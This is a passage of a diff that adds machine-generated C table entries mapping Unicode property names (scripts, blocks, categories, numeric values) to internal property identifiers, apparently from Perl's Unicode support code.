+ { 0, 8816, 8901, 3, 2, PL_NV__36 } /* nv=36 */,
+ { 2, 2229, 5082, 16, 11, PL_MC } /* generalcategory=spacingmark */,
+ { 6, 6890, 8400, 4, 4, PL_INMIAO } /* blk=miao */,
+ { 19, 5134, 8082, 3, 4, PL_XPOSIXPRINT } /* isprint */,
+ { 4, 7840, 893, 3, 17, PL_INVS } /* isvariationselectors */,
+ { 20, 5645, 427, 10, 2, PL_BC__ES } /* bidiclass=es */,
+ { 0, 5134, 850, 3, 9, PL_CO } /* isprivateuse */,
+ { 0, 6263, 534, 10, 2, PL_LB__NS } /* linebreak=ns */,
+ { 5, 4402, 3899, 3, 15, PL_MYANMAREXTB } /* inmyanmarextendedb */,
+ { 0, 8460, 0, 4, 0, PL_PHLP } /* phlp */,
+ { 0, 6890, 7810, 4, 6, PL_INGOTHIC } /* blk=gothic */,
+ { 0, 76, 7096, 2, 3, PL_NT__NU } /* nt=nu */,
+ { 2, 6263, 5772, 10, 5, PL_LB__EB } /* linebreak=ebase */,
+ { 1, 6890, 4300, 5, 14, PL_INIMPERIALARAMAIC } /* blk=imperialaramaic */,
+ { 24, 18, 3223, 2, 2, -PL_RI } /* ri=n */,
+ { 1, 8011, 206, 3, 2, PL_PI } /* gc=pi */,
+ { 6, 1189, 0, 2, 0, PL_LT } /* lt */,
+ { 0, 3946, 0, 16, 0, PL_STERM } /* sentenceterminal */,
+ { 1, 3543, 0, 17, 0, PL_SMALLFORMS } /* smallformvariants */,
+ { 2, 5825, 0, 7, 0, PL_MAHJONG } /* mahjong */,
+ { 1, 184, 3738, 2, 9, PL_LATIN1 } /* islatin1sup */,
+ { 0, 2134, 7768, 3, 2, -PL_XPOSIXXDIGIT } /* hex=f */,
+ { 7, 8096, 7351, 4, 4, PL_TALE } /* scx=tale */,
+ { 0, 974, 8164, 24, 2, PL_CCC__15 } /* canonicalcombiningclass=15 */,
+ { 2, 184, 6120, 2, 11, PL_DOMINO } /* isdominotiles */,
+ { 40, 8096, 8408, 4, 3, PL_MRO } /* scx=mro */,
+ { 0, 7459, 8192, 3, 4, PL_SC__ADLM } /* sc=adlm */,
+ { 0, 7478, 6747, 3, 9, PL_SMALLFORMS } /* issmallforms */,
+ { 32, 5544, 8903, 13, 2, PL_NV__38 } /* numericvalue=38 */,
+ { 0, 6713, 8867, 3, 3, PL_IN__5_DOT_1 } /* in=v51 */,
+ { 2, 7136, 3965, 6, 13, PL_MATHOPERATORS } /* block=mathoperators */,
+ { 0, 1133, 3223, 26, 2, -PL_PCM } /* prependedconcatenationmark=n */,
+ { 38, 2100, 7557, 4, 5, PL_OLCK } /* isolchiki */,
+ { 2, 184, 8432, 2, 4, PL_NKO } /* isnkoo */,
+ { 0, 8504, 69, 3, 2, PL_SB__UP } /* sb=up */,
+ { 1, 8096, 7912, 4, 4, PL_TELU } /* scx=telu */,
+ { 0, 4554, 1621, 14, 6, PL_SB__FO } /* sentencebreak=format */,
+ { 7, 2108, 1568, 4, 4, PL_INHANGUL } /* inhangul */,
+ { 0, 5375, 7, 12, 1, PL_JT__C } /* joiningtype=c */,
+ { 6, 7457, 6998, 5, 9, PL_INSC__NONJOINER } /* insc=nonjoiner */,
+ { 0, 3424, 7768, 17, 6, -PL_IDSB } /* idsbinaryoperator=false */,
+ { 0, 7380, 1484, 4, 2, PL_CCC__BR } /* ccc=br */,
+ { 7, 3129, 8046, 17, 5, PL_LIMB } /* scriptextensions=limbu */,
+ { 0, 7459, 7513, 3, 7, PL_SC__MAND } /* sc=mandaic */,
+ { 5, 6484, 0, 3, 0, PL_IDC } /* idc */,
+ { 29, 6736, 0, 10, 0, PL_SAUR } /* saurashtra */,
+ { 4, 6706, 8723, 10, 3, PL_IN__4 } /* presentin=4.0 */,
+ { 5, 7288, 6406, 7, 11, PL_SORA } /* script=sorasompeng */,
+ { 3, 8021, 3223, 5, 2, -PL_GREXT } /* grext=n */,
+ { 4, 4284, 3577, 14, 6, PL_GCB__T } /* hangulsyllabletype=t */,
+ { 6, 8340, 4953, 3, 14, PL_JG__MANICHAEANHETH } /* jg=manichaeanheth */,
+ { 1, 8096, 6917, 4, 9, PL_QAAI } /* scx=inherited */,
+ { 4, 6263, 8925, 10, 2, PL_LB__H3 } /* linebreak=h3 */,
+ { 4, 7459, 2408, 3, 6, PL_BRAH } /* sc=brahmi */,
+ { 38, 3424, 7997, 4, 4, PL_IDSB } /* idsb=yes */,
+ { 5, 7459, 2271, 5, 18, PL_PHLI } /* sc=inscriptionalpahlavi */,
+ { 1, 3322, 0, 17, 0, PL_CYRILLICEXTA } /* cyrillicextendeda */,
+ { 8, 7459, 494, 3, 3, PL_SC__HAN } /* sc=han */,
+ { 3, 8071, 0, 5, 0, PL_OSGE } /* osage */,
+ { 6, 8011, 699, 3, 6, PL_N } /* gc=number */,
+ { 0, 7136, 3147, 6, 18, PL_TAIXUANJING } /* block=taixuanjingsymbols */,
+ { 40, 7840, 893, 3, 16, PL_VS } /* isvariationselector */,
+ { 3, 4314, 5873, 13, 12, PL_JG__MALAYALAMNNA } /* joininggroup=malayalamnna */,
+ { 1, 4314, 8810, 13, 3, PL_JG__MIM } /* joininggroup=mim */,
+ { 0, 3129, 7590, 17, 7, PL_SHRD } /* scriptextensions=sharada */,
+ { 2, 7136, 7016, 6, 9, PL_INOLDPERMIC } /* block=oldpermic */,
+ { 0, 5544, 8901, 13, 2, PL_NV__36 } /* numericvalue=36 */,
+ { 0, 3754, 0, 7, 0, PL_LINB } /* linearb */,
+ { 8, 4402, 3883, 3, 6, PL_INMYANMAR } /* inmyanmar */,
+ { 0, 7457, 2189, 5, 20, PL_INSC__CONSONANTPLACEHOLDER } /* insc=consonantplaceholder */,
+ { 0, 184, 43, 3, 15, PL_CJKCOMPAT } /* iscjkcompatibility */,
+ { 0, 8196, 8726, 4, 3, PL_AGE__4_DOT_1 } /* age=4.1 */,
+ { 1, 8096, 7611, 4, 4, PL_SOYO } /* scx=soyo */,
+ { 1, 8096, 8444, 4, 4, PL_OLCK } /* scx=olck */,
+ { 0, 8240, 8801, 3, 3, PL_BC__LRE } /* bc=lre */,
+ { 4, 4314, 4359, 13, 15, PL_JG__MANICHAEANGIMEL } /* joininggroup=manichaeangimel */,
+ { 0, 7288, 7846, 7, 6, PL_SC__KTHI } /* script=kaithi */,
+ { 0, 8424, 0, 4, 0, PL_NBAT } /* nbat */,
+ { 8, 6890, 4771, 4, 14, PL_INGREEK } /* blk=greekandcoptic */,
+ { 0, 8816, 8741, 3, 3, PL_NV__5_SLASH_6 } /* nv=5/6 */,
+ { 15, 7858, 0, 4, 0, PL_KHOJ } /* khoj */,
+ { 68, 6890, 7387, 4, 7, PL_CJKEXTA } /* blk=cjkexta */,
+ { 1, 8096, 7443, 4, 4, PL_GRAN } /* scx=gran */,
+ { 0, 8096, 6806, 4, 4, PL_WARA } /* scx=wara */,
+ { 1, 7994, 7952, 4, 4, PL_IDC } /* idc=true */,
+ { 8, 5645, 1804, 10, 3, PL_BC__RLE } /* bidiclass=rle */,
+ { 7, 6890, 6908, 4, 9, PL_EMOTICONS } /* blk=emoticons */,
+ { 0, 7288, 8300, 7, 4, PL_SC__GREK } /* script=grek */,
+ { 1, 690, 0, 16, 0, PL_CUNEIFORMNUMBERS } /* cuneiformnumbers */,
+ { 0, 184, 1543, 2, 15, PL_GEOMETRICSHAPES } /* isgeometricshapes */,
+ { 1, 1448, 6431, 5, 8, PL_SUPERANDSUB } /* insuperandsub */,
+ { 1, 6890, 7604, 4, 7, PL_INSIDDHAM } /* blk=siddham */,
+ { 8, 7136, 3290, 6, 4, PL_UCAS } /* block=ucas */,
+ { 16, 8504, 7966, 3, 5, PL_SB__AT } /* sb=aterm */,
+ { 1, 8816, 7744, 3, 5, PL_NV__70000 } /* nv=70000 */,
+ { 0, 7288, 7780, 7, 4, PL_CARI } /* script=cari */,
+ { 67, 2360, 0, 4, 0, PL_MAND } /* mand */,
+ { 0, 4449, 8256, 4, 3, PL_COMPEX } /* nfcqc=n */,
+ { 24, 184, 2636, 2, 4, PL_MONG } /* ismong */,
+ { 6, 4314, 5019, 13, 4, PL_JG__TETH } /* joininggroup=teth */,
+ { 81, 8816, 7714, 3, 6, PL_NV__300000 } /* nv=300000 */,
+ { 0, 2521, 0, 2, 0, PL_PF } /* pf */,
+ { 32, 7136, 2805, 6, 18, PL_HALFMARKS } /* block=combininghalfmarks */,
+ { 0, 7136, 6826, 6, 10, PL_YIRADICALS } /* block=yiradicals */,
+ { 0, 1184, 0, 25, 0, PL_DI } /* defaultignorablecodepoint */,
+ { 48, 5557, 0, 13, 0, PL_PATSYN } /* patternsyntax */,
+ { 0, 8376, 415, 3, 11, PL_LB__ID } /* lb=ideographic */,
+ { 1, 8816, 8646, 3, 2, PL_NV__29 } /* nv=29 */,
+ { 22, 5968, 1029, 3, 26, PL_OCR } /* inopticalcharacterrecognition */,
+ { 17, 7136, 8126, 6, 5, PL_VSSUP } /* block=vssup */,
+ { 0, 7136, 7611, 6, 7, PL_INSOYOMBO } /* block=soyombo */,
+ { 0, 7136, 7912, 6, 6, PL_INTELUGU } /* block=telugu */,
+ { 0, 7459, 2408, 3, 4, PL_BRAH } /* sc=brah */,
+ { 0, 6890, 1724, 4, 22, PL_EARLYDYNASTICCUNEIFORM } /* blk=earlydynasticcuneiform */,
+ { 1, 1346, 3500, 4, 5, PL_INGRANTHA } /* ingrantha */,
+ { 1, 7459, 7192, 3, 8, PL_SC__GUJR } /* sc=gujarati */,
+ { 0, 2859, 2369, 18, 4, PL_DT__VERT } /* decompositiontype=vert */,
+ { 3, 7288, 7320, 7, 8, PL_TFNG } /* script=tifinagh */,
+ { 1, 7288, 2484, 7, 19, PL_EGYP } /* script=egyptianhieroglyphs */,
+ { 0, 7288, 7312, 7, 4, PL_SC__TAGB } /* script=tagb */,
+ { 0, 7380, 7941, 7, 2, PL_CCC__11 } /* ccc=ccc11 */,
+ { 1, 7288, 2531, 7, 4, PL_SC__MULT } /* script=mult */,
+ { 0, 8288, 7, 3, 3, PL_DT__CAN } /* dt=can */,
+ { 0, 3129, 954, 17, 5, PL_GREK } /* scriptextensions=greek */,
+ { 12, 5544, 8184, 13, 4, PL_NV__5_SLASH_12 } /* numericvalue=5/12 */,
+ { 16, 4314, 3818, 13, 16, PL_JG__MANICHAEANSAMEKH } /* joininggroup=manichaeansamekh */,
+ { 0, 5645, 3581, 5, 2, PL_BIDIC } /* bidic=t */,
+ { 7, 6713, 8852, 3, 3, PL_IN__3_DOT_1 } /* in=v31 */,
+ { 2, 8096, 78, 4, 4, PL_ARAB } /* scx=arab */,
+ { 4, 7136, 3356, 6, 17, PL_CYRILLICEXTC } /* block=cyrillicextendedc */,
+ { 4, 8096, 7025, 4, 9, PL_ORKH } /* scx=oldturkic */,
+ { 1, 7224, 6484, 3, 3, PL_XIDC } /* isxidc */,
+ { 2, 7136, 7443, 6, 7, PL_INGRANTHA } /* block=grantha */,
+ { 0, 184, 1283, 3, 9, PL_CJKSYMBOLS } /* iscjksymbols */,
+ { 0, 4239, 3223, 4, 2, -PL_DASH } /* dash=n */,
+ { 12, 7288, 8416, 7, 4, PL_SC__MYMR } /* script=mymr */,
+ { 0, 7288, 7632, 7, 7, PL_SC__TGLG } /* script=tagalog */,
+ { 3, 6890, 1680, 4, 22, PL_INDICNUMBERFORMS } /* blk=commonindicnumberforms */,
+ { 0, 6890, 1001, 4, 11, PL_ENCLOSEDCJK } /* blk=enclosedcjk */,
+ { 0, 7136, 7900, 6, 6, PL_INREJANG } /* block=rejang */,
+ { 2, 8096, 7043, 4, 4, PL_PAUC } /* scx=pauc */,
+ { 18, 974, 6556, 24, 10, PL_CCC__BR } /* canonicalcombiningclass=belowright */,
+ { 0, 184, 6881, 2, 9, PL_BHKS } /* isbhaiksuki */,
+ { 0, 6890, 1960, 4, 14, PL_CJKRADICALSSUP } /* blk=cjkradicalssup */,
+ { 0, 6890, 6596, 4, 10, PL_COMPATJAMO } /* blk=compatjamo */,
+ { 2, 7288, 7780, 7, 6, PL_CARI } /* script=carian */,
+ { 0, 6890, 2967, 4, 18, PL_GEORGIANSUP } /* blk=georgiansupplement */,
+ { 0, 1417, 1106, 9, 2, PL_SK } /* category=sk */,
+ { 1, 8786, 1, 3, 1, PL_EA__N } /* ea=n */,
+ { 123, 7459, 8220, 3, 4, PL_SC__ARMN } /* sc=armn */,
+ { 0, 4449, 8256, 4, 4, PL_COMPEX } /* nfcqc=no */,
+ { 0, 7459, 8396, 3, 4, PL_MERC } /* sc=merc */,
+ { 2, 7478, 3084, 7, 9, PL_ZS } /* isspaceseparator */,
+ { 0, 1358, 7997, 20, 4, PL_CE } /* compositionexclusion=yes */,
+ { 0, 4542, 7640, 3, 6, PL_LANA } /* istaitham */,
+ { 1, 8783, 7768, 3, 2, -PL_CWU } /* cwu=f */,
+ { 2, 7459, 2674, 3, 4, PL_SUND } /* sc=sund */,
+ { 0, 6483, 7997, 4, 4, PL_XIDC } /* xidc=yes */,
+ { 1, 3129, 2107, 17, 4, PL_SINH } /* scriptextensions=sinh */,
+ { 0, 7459, 7569, 3, 7, PL_OSMA } /* sc=osmanya */,
+ { 8, 3129, 7192, 17, 8, PL_GUJR } /* scriptextensions=gujarati */,
+ { 5, 1701, 7997, 2, 2, PL_SD } /* sd=y */,
+ { 7, 7288, 7660, 7, 7, PL_SC__TIRH } /* script=tirhuta */,
+ { 0, 8196, 8765, 4, 3, PL_AGE__8 } /* age=8.0 */,
+ { 48, 7288, 7870, 7, 4, PL_LEPC } /* script=lepc */,
+ { 1, 8096, 6696, 4, 10, PL_PHNX } /* scx=phoenician */,
+ { 10, 5544, 7708, 13, 2, PL_NV__21 } /* numericvalue=21 */,
+ { 28, 184, 7240, 2, 8, PL_JAMOEXTB } /* isjamoextb */,
+ { 0, 7136, 8368, 6, 3, PL_INLAO } /* block=lao */,
+ { 7, 184, 750, 2, 22, PL_ENCLOSEDIDEOGRAPHICSUP } /* isenclosedideographicsup */,
+ { 0, 3129, 78, 17, 6, PL_ARAB } /* scriptextensions=arabic */,
+ { 2, 184, 8931, 2, 2, PL_L_AMP_ } /* isl& */,
+ { 6, 117, 448, 3, 31, PL_IDEOGRAPHICSYMBOLS } /* inideographicsymbolsandpunctuation */,
+ { 0, 6890, 3057, 4, 18, PL_ORNAMENTALDINGBATS } /* blk=ornamentaldingbats */,
+ { 1, 8816, 7709, 3, 2, PL_NV__16 } /* nv=16 */,
+ { 0, 8240, 18, 3, 1, PL_BC__R } /* bc=r */,
+ { 1, 8816, 8164, 3, 4, PL_NV__15_SLASH_2 } /* nv=15/2 */,
+ { 72, 6219, 0, 11, 0, PL_JOINC } /* joincontrol */,
+ { 3, 2229, 0, 17, 1, PL_LU } /* generalcategory=lu */,
+ { 0, 6706, 7702, 10, 1, PL_IN__2 } /* presentin=2 */,
+ { 0, 7136, 7956, 6, 5, PL_INADLAM } /* block=adlam */,
+ { 3, 7226, 7986, 6, 5, PL_XPOSIXBLANK } /* xposixblank */,
+ { 18, 6554, 7145, 3, 7, PL_INBUGINESE } /* inbuginese */,
+ { 0, 6989, 0, 9, 0, PL_TALU } /* newtailue */,
+ { 1, 2128, 0, 21, 0, PL_YIJING } /* yijinghexagramsymbols */,
+ { 0, 7288, 8588, 7, 4, PL_SC__YI } /* script=yiii */,
+ { 0, 7288, 8264, 7, 4, PL_CANS } /* script=cans */,
+ { 1, 184, 7971, 2, 5, PL_BATK } /* isbatak */,
+ { 4, 8196, 7732, 4, 1, PL_AGE__5 } /* age=5 */,
+ { 72, 6890, 479, 4, 31, PL_MATHALPHANUM } /* blk=mathematicalalphanumericsymbols */,
+ { 0, 1887, 7768, 5, 2, -PL_XPOSIXLOWER } /* lower=f */,
+ { 5, 4314, 4384, 13, 5, PL_JG__SADHE } /* joininggroup=sadhe */,
+ { 17, 3914, 0, 16, 0, PL_PO } /* otherpunctuation */,
+ { 1, 2229, 2169, 16, 20, PL_PC } /* generalcategory=connectorpunctuation */,
+ { 16, 1426, 5191, 24, 14, PL_INSC__INVISIBLESTACKER } /* indicsyllabiccategory=invisiblestacker */,
+ { 0, 7288, 7450, 7, 7, PL_SC__HANO } /* script=hanunoo */,
+ { 1, 1855, 7997, 21, 4, PL_CWCM } /* changeswhencasemapped=yes */,
+ { 1, 7344, 7997, 4, 4, PL_XIDS } /* xids=yes */,
+ { 0, 1746, 36, 21, 1, PL_GCB__T } /* graphemeclusterbreak=t */,
+ { 0, 6210, 6587, 3, 9, PL_CJKSTROKES } /* incjkstrokes */,
+ { 14, 6008, 0, 4, 0, PL_HUNG } /* hung */,
+ { 0, 4314, 4995, 13, 14, PL_JG__MANICHAEANRESH } /* joininggroup=manichaeanresh */,
+ { 0, 6890, 3754, 4, 16, PL_LINEARBIDEOGRAMS } /* blk=linearbideograms */,
+ { 1, 7288, 8245, 8, 3, PL_BHKS } /* script=bhks */,
+ { 6, 8101, 0, 5, 0, PL_STERM } /* sterm */,
+ { 0, 6613, 8321, 3, 3, PL_HLUW } /* ishluw */,
+ { 0, 4284, 4026, 14, 16, PL_GCB__L } /* hangulsyllabletype=leadingjamo */,
+ { 2, 7478, 1636, 3, 22, PL_SUPPUNCTUATION } /* issupplementalpunctuation */,
+ { 16, 6890, 7569, 4, 7, PL_INOSMANYA } /* blk=osmanya */,
+ { 26, 5657, 3223, 5, 2, -PL_BIDIM } /* bidim=n */,
+ { 0, 1402, 1704, 4, 20, PL_DIACRITICALSFORSYMBOLS } /* indiacriticalsforsymbols */,
+ { 0, 8504, 33, 3, 2, PL_SB__SE } /* sb=se */,
+ { 2, 8420, 0, 4, 0, PL_NARB } /* narb */,
+ { 0, 1401, 0, 4, 0, PL_SIND } /* sind */,
+ { 0, 184, 3, 3, 1, PL_CF } /* iscf */,
+ { 0, 3424, 3581, 4, 2, PL_IDSB } /* idsb=t */,
+ { 0, 6890, 6944, 4, 9, PL_LATINEXTC } /* blk=latinextc */,
+ { 24, 6613, 4285, 3, 14, PL_INHANGUL } /* ishangulsyllables */,
+ { 0, 6109, 3659, 10, 15, PL_PE } /* category=closepunctuation */,
+ { 82, 8777, 0, 3, 0, PL_CWL } /* cwl */,
+ { 0, 183, 0, 34, 0, PL_MISCPICTOGRAPHS } /* miscellaneoussymbolsandpictographs */,
+ { 2, 7288, 3611, 8, 3, PL_SC__BOPO } /* script=bopo */,
+ { 0, 1929, 7951, 5, 5, PL_XPOSIXUPPER } /* upper=true */,
+ { 0, 2229, 1013, 17, 5, PL_L } /* generalcategory=letter */,
+ { 0, 6890, 3390, 4, 16, PL_ETHIOPICEXT } /* blk=ethiopicextended */,
+ { 0, 7459, 8436, 3, 4, PL_NSHU } /* sc=nshu */,
+ { 1, 8096, 8106, 4, 5, PL_TALE } /* scx=taile */,
+ { 7, 6613, 6009, 3, 3, PL_HUNG } /* ishung */,
+ { 3, 974, 8639, 24, 3, PL_CCC__118 } /* canonicalcombiningclass=118 */,
+ { 6, 8816, 7756, 3, 6, PL_NV__900000 } /* nv=900000 */,
+ { 0, 7226, 1887, 6, 5, PL_XPOSIXLOWER } /* xposixlower */,
+ { 0, 8816, 1335, 3, 3, PL_NV__NAN } /* nv=nan */,
+ { 4, 1448, 1791, 3, 21, PL_MODIFIERLETTERS } /* inspacingmodifierletters */,
+ { 3, 7288, 6736, 7, 10, PL_SAUR } /* script=saurashtra */,
+ { 2, 4813, 0, 7, 0, PL_KANASUP } /* kanasup */,
+ { 0, 184, 4883, 2, 14, PL_LATINEXTE } /* islatinextendede */,
+ { 15, 7459, 7520, 3, 7, PL_MARC } /* sc=marchen */,
+ { 2, 8304, 0, 4, 0, PL_GUJR } /* gujr */,
+ { 5, 1503, 3391, 3, 16, PL_ETHIOPICEXTA } /* inethiopicextendeda */,
+ { 0, 8096, 7653, 4, 7, PL_TIBT } /* scx=tibetan */,
+ { 2, 7459, 7912, 3, 4, PL_SC__TELU } /* sc=telu */,
+ { 0, 6890, 7429, 4, 7, PL_DSRT } /* blk=deseret */,
+ { 0, 8894, 3201, 3, 18, PL_VO__TU } /* vo=transformedupright */,
+ { 0, 8344, 0, 4, 0, PL_JT__L } /* jt=l */,
+ { 32, 7136, 6439, 6, 11, PL_INSYLOTINAGRI } /* block=sylotinagri */,
+ { 0, 7288, 7520, 7, 7, PL_MARC } /* script=marchen */,
+ { 0, 2841, 0, 6, 0, PL_COPT } /* coptic */,
+ { 64, 8009, 0, 2, 0, PL_CF } /* cf */,
+ { 14, 7288, 1108, 8, 4, PL_BATK } /* script=batak */,
+ { 2, 4198, 2969, 4, 16, PL_GEORGIANSUP } /* ingeorgiansupplement */,
+ { 1, 7689, 8233, 3, 3, PL_AVST } /* isavst */,
+ { 1, 6890, 3866, 4, 16, PL_MISCMATHSYMBOLSB } /* blk=miscmathsymbolsb */,
+ { 1, 4314, 218, 13, 2, PL_JG__PE } /* joininggroup=pe */,
+ { 0, 8816, 5219, 3, 3, PL_NV__100 } /* nv=100 */,
+ { 63, 3424, 7768, 4, 2, -PL_IDSB } /* idsb=f */,
+ { 1, 8816, 7720, 3, 1, PL_NV__4 } /* nv=4 */,
+ { 1, 974, 3254, 24, 13, PL_CCC__202 } /* canonicalcombiningclass=attachedbelow */,
+ { 32, 2541, 0, 10, 0, PL_JAMO } /* hanguljamo */,
+ { 3, 5544, 7756, 13, 3, PL_NV__900 } /* numericvalue=900 */,
+ { 18, 6890, 7618, 4, 7, PL_SUPPUAA } /* blk=suppuaa */,
+ { 0, 7136, 7492, 6, 7, PL_INKANNADA } /* block=kannada */,
+ { 10, 7681, 0, 7, 0, PL_ZZZZ } /* unknown */,
+ { 10, 7136, 1658, 6, 19, PL_CJKCOMPATIDEOGRAPHS } /* block=cjkcompatideographs */,
+ { 0, 4010, 0, 4, 0, PL_TANG } /* tang */,
+ { 8, 974, 4976, 24, 2, PL_CCC__7 } /* canonicalcombiningclass=nk */,
+ { 16, 7882, 0, 6, 0, PL_LYDI } /* lydian */,
+ { 0, 7224, 3521, 8, 5, PL_XPOSIXSPACE } /* isxposixspace */,
+ { 0, 6263, 1083, 10, 2, PL_LB__LF } /* linebreak=lf */,
+ { 4, 6713, 7702, 3, 1, PL_IN__2 } /* in=2 */,
+ { 0, 7288, 8528, 7, 4, PL_SC__SYRC } /* script=syrc */,
+ { 68, 3129, 8061, 17, 5, PL_OGAM } /* scriptextensions=ogham */,
+ { 1, 8276, 0, 4, 0, PL_CWCM } /* cwcm */,
+ { 0, 5544, 7714, 13, 3, PL_NV__300 } /* numericvalue=300 */,
+ { 1, 7478, 837, 3, 27, PL_SUPPUAA } /* issupplementaryprivateuseareaa */,
+ { 17, 5544, 8762, 13, 3, PL_NV__7_SLASH_8 } /* numericvalue=7/8 */,
+ { 10, 21, 4813, 2, 14, PL_KANASUP } /* inkanasupplement */,
+ { 0, 8011, 7, 4, 1, PL_SC } /* gc=sc */,
+ { 6, 5544, 8640, 13, 2, PL_NV__18 } /* numericvalue=18 */,
+ { 1, 8096, 4105, 5, 3, PL_BAMU } /* scx=bamu */,
+ { 11, 7345, 7768, 7, 6, -PL_IDS } /* idstart=false */,
+ { 0, 3129, 8448, 17, 4, PL_ORKH } /* scriptextensions=orkh */,
+ { 29, 7288, 8548, 7, 4, PL_TFNG } /* script=tfng */,
+ { 0, 6890, 6646, 4, 10, PL_MISCARROWS } /* blk=miscarrows */,
+ { 1, 0, 0, 34, 0, PL_UCAS } /* unifiedcanadianaboriginalsyllabics */,
+ { 1, 7459, 7604, 3, 7, PL_SIDD } /* sc=siddham */,
+ { 0, 1876, 3223, 21, 3, -PL_CWL } /* changeswhenlowercased=no */,
+ { 2, 6263, 34, 10, 2, PL_LB__EX } /* linebreak=ex */,
+ { 3, 1402, 3069, 4, 6, PL_DINGBATS } /* indingbats */,
+ { 5, 7344, 0, 4, 0, PL_XIDS } /* xids */,
+ { 0, 8340, 6072, 3, 4, PL_JG__NOON } /* jg=noon */,
+ { 4, 7136, 7061, 6, 9, PL_INSAMARITAN } /* block=samaritan */,
+ { 0, 5544, 7720, 13, 1, PL_NV__4 } /* numericvalue=4 */,
+ { 2, 7380, 8897, 4, 2, PL_CCC__19 } /* ccc=19 */,
+ { 76, 2750, 7768, 19, 6, -PL_TERM } /* terminalpunctuation=false */,
+ { 7, 8288, 568, 3, 2, PL_DT__NB } /* dt=nb */,
+ { 136, 7248, 0, 8, 0, PL_JAVA } /* javanese */,
+ { 0, 8376, 6186, 3, 11, PL_LB__IN } /* lb=inseparable */,
+ { 3, 8572, 698, 3, 2, PL_WB__MN } /* wb=mn */,
+ { 0, 7459, 2249, 3, 4, PL_SC__GLAG } /* sc=glag */,
+ { 6, 8204, 7951, 4, 5, PL_POSIXXDIGIT } /* ahex=true */,
+ { 12, 5192, 416, 3, 31, PL_INIDC } /* isideographicdescriptioncharacters */,
+ { 2, 184, 122, 2, 9, PL_DIA } /* isdiacritic */,
+ { 1, 4314, 5849, 13, 12, PL_JG__MALAYALAMLLA } /* joininggroup=malayalamlla */,
+ { 1, 8300, 0, 4, 0, PL_GREK } /* grek */,
+ { 0, 8096, 7583, 4, 7, PL_PHAG } /* scx=phagspa */,
+ { 68, 7288, 6882, 8, 8, PL_BHKS } /* script=bhaiksuki */,
+ { 0, 6109, 3, 10, 1, PL_CF } /* category=cf */,
+ { 96, 2985, 3223, 4, 2, -PL_IDST } /* idst=n */,
+ { 0, 7226, 3521, 6, 5, PL_XPOSIXSPACE } /* xposixspace */,
+ { 0, 5645, 2289, 10, 11, PL_BC__L } /* bidiclass=lefttoright */,
+ { 0, 8816, 8907, 3, 2, PL_NV__44 } /* nv=44 */,
+ { 0, 2229, 3658, 16, 16, PL_PE } /* generalcategory=closepunctuation */,
+ { 4, 6890, 4644, 4, 15, PL_INZANABAZARSQUARE } /* blk=zanabazarsquare */,
+ { 10, 3129, 6373, 17, 11, PL_HMNG } /* scriptextensions=pahawhhmong */,
+ { 4, 184, 1797, 2, 4, PL_MODI } /* ismodi */,
+ { 1, 3129, 8046, 17, 4, PL_LIMB } /* scriptextensions=limb */,
+ { 0, 5134, 809, 3, 10, PL_PHONETICEXT } /* isphoneticext */,
+ { 0, 7288, 1540, 7, 4, PL_SC__PHAG } /* script=phag */,
+ { 0, 4402, 2046, 4, 12, PL_MEETEIMAYEKEXT } /* inmeeteimayekext */,
+ { 0, 148, 0, 35, 0, PL_DIACRITICALSSUP } /* combiningdiacriticalmarkssupplement */,
+ { 0, 8096, 8568, 4, 3, PL_VAI } /* scx=vai */,
+ { 49, 8376, 7828, 3, 2, PL_LB__HY } /* lb=hy */,
+ { 0, 7136, 1724, 6, 22, PL_EARLYDYNASTICCUNEIFORM } /* block=earlydynasticcuneiform */,
+ { 0, 184, 8596, 2, 4, PL_ZANB } /* iszanb */,
+ { 12, 5544, 7726, 13, 2, PL_NV__43 } /* numericvalue=43 */,
+ { 1, 6263, 3526, 10, 17, PL_RI } /* linebreak=regionalindicator */,
+ { 3, 7288, 2787, 7, 8, PL_CHER } /* script=cherokee */,
+ { 1, 5693, 0, 12, 0, PL_CYRILLICEXTB } /* cyrillicextb */,
+ { 0, 8596, 0, 4, 0, PL_ZANB } /* zanb */,
+ { 1, 1635, 0, 23, 0, PL_SUPPUNCTUATION } /* supplementalpunctuation */,
+ { 3, 6776, 0, 10, 0, PL_SUPARROWSB } /* suparrowsb */,
+ { 0, 7380, 8168, 4, 2, PL_CCC__17 } /* ccc=17 */,
+ { 1, 3610, 0, 11, 0, PL_BOPOMOFOEXT } /* bopomofoext */,
+ { 0, 3424, 7951, 4, 5, PL_IDSB } /* idsb=true */,
+ { 0, 4479, 1, 15, 1, PL_NFKCQC__N } /* nfkcquickcheck=n */,
+ { 2, 974, 3743, 24, 1, PL_CCC__1 } /* canonicalcombiningclass=1 */,
+ { 1, 5253, 0, 5, 0, PL_XPOSIXDIGIT } /* digit */,
+ { 2, 5968, 4495, 3, 14, PL_NARB } /* inoldnortharabian */,
+ { 0, 6890, 1081, 4, 26, PL_HALFANDFULLFORMS } /* blk=halfwidthandfullwidthforms */,
+ { 1, 217, 8077, 7, 4, PL_PATWS } /* _perl_patws */,
+ { 0, 974, 7944, 27, 2, PL_CCC__12 } /* canonicalcombiningclass=ccc12 */,
+ { 50, 8816, 7756, 3, 3, PL_NV__900 } /* nv=900 */,
+ { 0, 6890, 3994, 4, 9, PL_SYRIACSUP } /* blk=syriacsup */,
+ { 0, 7136, 2712, 6, 19, PL_SUPARROWSB } /* block=supplementalarrowsb */,
+ { 0, 2229, 4330, 17, 14, PL_LL } /* generalcategory=lowercaseletter */,
+ { 1, 8376, 3658, 3, 16, PL_LB__CL } /* lb=closepunctuation */,
+ { 0, 8340, 5741, 3, 12, PL_JG__FINALSEMKATH } /* jg=finalsemkath */,
+ { 1, 4134, 0, 4, 0, PL_BRAI } /* brai */,
+ { 0, 7457, 4164, 5, 15, PL_INSC__CONSONANTKILLER } /* insc=consonantkiller */,
+ { 0, 8096, 1540, 4, 4, PL_PHAG } /* scx=phag */,
+ { 0, 8096, 3674, 4, 7, PL_CPRT } /* scx=cypriot */,
+ { 7, 7224, 96, 8, 5, PL_XPOSIXALPHA } /* isxposixalpha */,
+ { 8, 1159, 0, 25, 0, PL_CWKCF } /* changeswhennfkccasefolded */,
+ { 0, 3129, 7639, 17, 7, PL_LANA } /* scriptextensions=taitham */,
+ { 48, 8096, 5801, 4, 5, PL_KHMR } /* scx=khmer */,
+ { 0, 974, 8699, 24, 3, PL_CCC__DB } /* canonicalcombiningclass=233 */,
+ { 2, 8252, 0, 4, 0, PL_BUHD } /* buhd */,
+ { 0, 1426, 4058, 22, 16, PL_INSC__VOWELINDEPENDENT } /* indicsyllabiccategory=vowelindependent */,
